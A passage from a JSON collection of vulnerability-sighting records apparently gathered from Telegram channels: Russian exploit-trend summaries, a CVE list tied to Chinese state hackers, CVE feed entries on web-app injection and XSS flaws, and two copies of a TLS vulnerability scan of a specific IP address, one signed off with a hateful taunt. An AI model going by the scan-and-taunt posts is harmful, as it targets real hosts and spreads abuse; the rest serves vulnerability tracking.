\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u0441\u0445\u043e\u0436\u0438\u0445 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0447\u0430\u0441\u0442\u043e \u043a \u00ab\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e\u00bb \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0430\u0442\u0430\u043a \u0434\u043b\u044f Linux \u043d\u0430 Windows \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043f\u0435\u0440\u0438\u043e\u0434\u043e\u043c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043b\u044c\u0432\u0438\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0449\u0435 \u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u0442\u0430\u0440\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2018-0802, CVE-2017-11882 (\u043e\u0431\u0435 RCE \u0432 Equation Editor), CVE-2017-0199 (Microsoft Office \u0438 WordPad).\n\n\u0412\u0441\u0435 \u0442\u0440\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 2024 \u0433\u043e\u0434\u0430, \u0438 \u043c\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0430\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c.\n\n\u0417\u0430 \u043d\u0438\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 WinRAR \u0438 \u0432 \u0441\u0430\u043c\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (WinRAR), CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u00a0ks.sys) \u0438 CVE-2022-3699 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 Lenovo Diagnostics).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-3156 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0sudo).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c - \u044d\u0442\u0430 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft Office.\n\n\u0418\u0437\u0443\u0447\u0438\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 APT, \u0432 \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430: CVE-2025-0282, CVE-2024-21887 \u0438 CVE-2025-0283 (Ivanti Connect Secure), CVE-2020-1472 (Netlogon Windows), CVE-2023-46805 (Ivanti ICS), CVE-2023-48788 (Fortinet) \u0438 \u0434\u0440.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 TOP 10 \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Zerologon, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438: \n\n- ZDI-CAN-25373: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 lnk-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u041e\u0421 Windows;\n\n- CVE-2025-21333: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 vkrnlintvsp.sys;\n\n- CVE-2025-24071: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0438 NetNTLM-\u0445\u044d\u0448\u0430 \u0432 \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u0442\u043e\u0440\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-06-04T18:00:07.000000Z"}, {"uuid": "42a50a17-972e-4bd7-aa1a-cbc38af47974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "https://t.me/is_n3ws/36", "content": "\u0410\u041d\u0411 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u043e \u0430\u0442\u0430\u043a\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0432\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043e\u0442\u0447\u0435\u0442. Top-20 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\nhttps://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF\n\nGaining Remote Access: \n-----------------------------\nCVE-2019-11510: Arbitrary file read/Pulse Secure VPN\nCVE-2019-19781: RCE/Citrix ADC\nCVE-2020-8195/3/6: Unauthenticated access\nCVE-2019-0708: RCE on RDP server\nCVE-2020-5902: RCE in F5 BIG-IP\n\nAD:\n----\nCVE-2020-1472: #ZeroLogon\nCVE-2019-1040: NTLM relay bypass\n\nMDM: \n------\nCVE-2020-15505: MobileIron device management\n\nExploiting Public Facing Services:\n---------------- \nCVE-2020-1350: RCE/ DNS Servers #SigRed\nCVE-2018-6789: RCE/ Exim mail transfer\nCVE-2018-4939: RCE/ Adobe's Cold Fusion\n\nWorkstation Local Privilege Escalation:\n-------------------------\nCVE-2020-0601: ECC spoofing #CurveBall\nCVE-2019-0803: Win32k Elevation of Privilege\n\nInternal Applications:\n--------------------\nCVE-2020-0688: RCE/MS Exchange\nCVE-2020-2555: RCE/Oracle Weblogic\nCVE-2019-11580: RCE/Atlassian Crowd\nCVE-2019-18935: RCE/ASP.Net\nCVE-2015-4852: RCE/Apache\nCVE-2019-3396: Unauthorized Access/Confluence\nCVE-2020-10189: RCE/Desktop Central", "creation_timestamp": "2020-11-06T22:00:17.000000Z"}, {"uuid": "2d8ef1fd-a75a-46ae-8d98-ca8342aef6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0804", "type": "seen", "source": "https://t.me/cvedetector/16672", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0804 - WordPress ClickWhale Link Manager Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2025-0804 \nPublished : Jan. 29, 2025, 4:15 a.m. | 1\u00a0hour, 41\u00a0minutes ago \nDescription : The ClickWhale \u2013 Link Manager, Link Shortener and Click Tracker for Affiliate Links & Link Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via link titles in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T07:19:58.000000Z"}, {"uuid": "a5654431-fff2-48f8-a273-8849cf533d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "seen", "source": "https://t.me/cvedetector/16669", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0803 - Codezips Gym Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-0803 \nPublished : Jan. 29, 2025, 2:15 a.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in Codezips Gym Management System 1.0. Affected by this issue is some unknown functionality of the file /dashboard/admin/submit_plan_new.php. The manipulation of the argument planid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T05:39:48.000000Z"}, {"uuid": "15eec69a-d28a-461c-912d-378536b962c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "seen", "source": "https://t.me/cvedetector/16668", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0802 - SourceCodester Best Employee Management System Remote Improper Access Control Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-0802 \nPublished : Jan. 29, 2025, 2:15 a.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in SourceCodester Best Employee Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/View_user.php of the component Administrative Endpoint. The manipulation leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T05:39:48.000000Z"}, {"uuid": "a715fc6b-abd8-43aa-9818-5afea4b512a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0800", "type": "seen", "source": "https://t.me/cvedetector/16667", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0800 - SourceCodester Online Courseware Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2025-0800 \nPublished : Jan. 29, 2025, 2:15 a.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in SourceCodester Online Courseware 1.0. Affected is an unknown function of the file /pcci/admin/saveeditt.php of the component Edit Teacher. The manipulation of the argument fname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T05:39:44.000000Z"}, {"uuid": "9877184f-592b-4833-91ed-e5fb92119c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "seen", "source": "https://t.me/cvedetector/16663", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0806 - Code-projects Job Recruitment Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-0806 \nPublished : Jan. 29, 2025, 3:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been rated as problematic. This issue affects some unknown processing of the file _call_job_search_ajax.php. The manipulation of the argument job_type leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T05:39:41.000000Z"}, {"uuid": "1260c8db-22b4-463e-a87d-542360486503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0807", "type": "seen", "source": "https://t.me/cvedetector/20858", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0807 - WordPress CITS Support Use Custom Fonts CSRF\", \n  \"Content\": \"CVE ID : CVE-2025-0807 \nPublished : March 22, 2025, 7:15 a.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : The CITS Support svg, webp Media and TTF,OTF File Upload, Use Custom Fonts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2. This is due to missing or incorrect nonce validation on the cits_settings_tab() function. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-22T10:22:27.000000Z"}, {"uuid": "596b5f7b-7183-4c46-818b-acfd20680483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "seen", "source": "Telegram/DLr-Set230iIyuwnsbNsGu2hMTxgotO9TgBAYnUy1zKQMFr5", "content": "", "creation_timestamp": "2025-02-14T09:46:59.000000Z"}, {"uuid": "7a1a3085-c59d-4046-b4b6-86ae337fd080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0800", "type": "seen", "source": "Telegram/-03n7KLodb0HpFM_GdL2HqN4QF_P8rQNcwofAg7BqCHHxhPO", "content": "", "creation_timestamp": "2025-02-14T09:47:00.000000Z"}, {"uuid": "478ad04e-c88e-4c6b-9031-821663cdc9c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0808", "type": "seen", "source": "Telegram/ax-rtxH4Jdsu3kZ_yYuJ2U6WdmI_dU-UeVkBcvfOroLwLfmq", "content": "", "creation_timestamp": "2025-02-14T10:04:02.000000Z"}, {"uuid": "9d062551-4087-4441-aa64-5766a125c105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0806", "type": "seen", "source": "Telegram/9-IdfjSKravzvUIQcglTpjA9RK-qWtK82EQc5YJr45zC8-qg", "content": "", "creation_timestamp": "2025-02-14T10:04:00.000000Z"}, {"uuid": "2755251f-dedb-4cd1-8031-70ad217371a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "seen", "source": "Telegram/f69rx7IqwprkI5x-1ukJqxtk7BvnclWRS3oo3f51vYtLIRBa", "content": "", "creation_timestamp": "2025-02-14T10:04:00.000000Z"}, {"uuid": "01ce491f-266f-412d-8d58-76f6d69d4dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/hex4gon1/908", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T03:02:07.000000Z"}, {"uuid": "396cba05-207f-4536-b76d-d0625c47d732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/endsodomaofficial/7318", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially 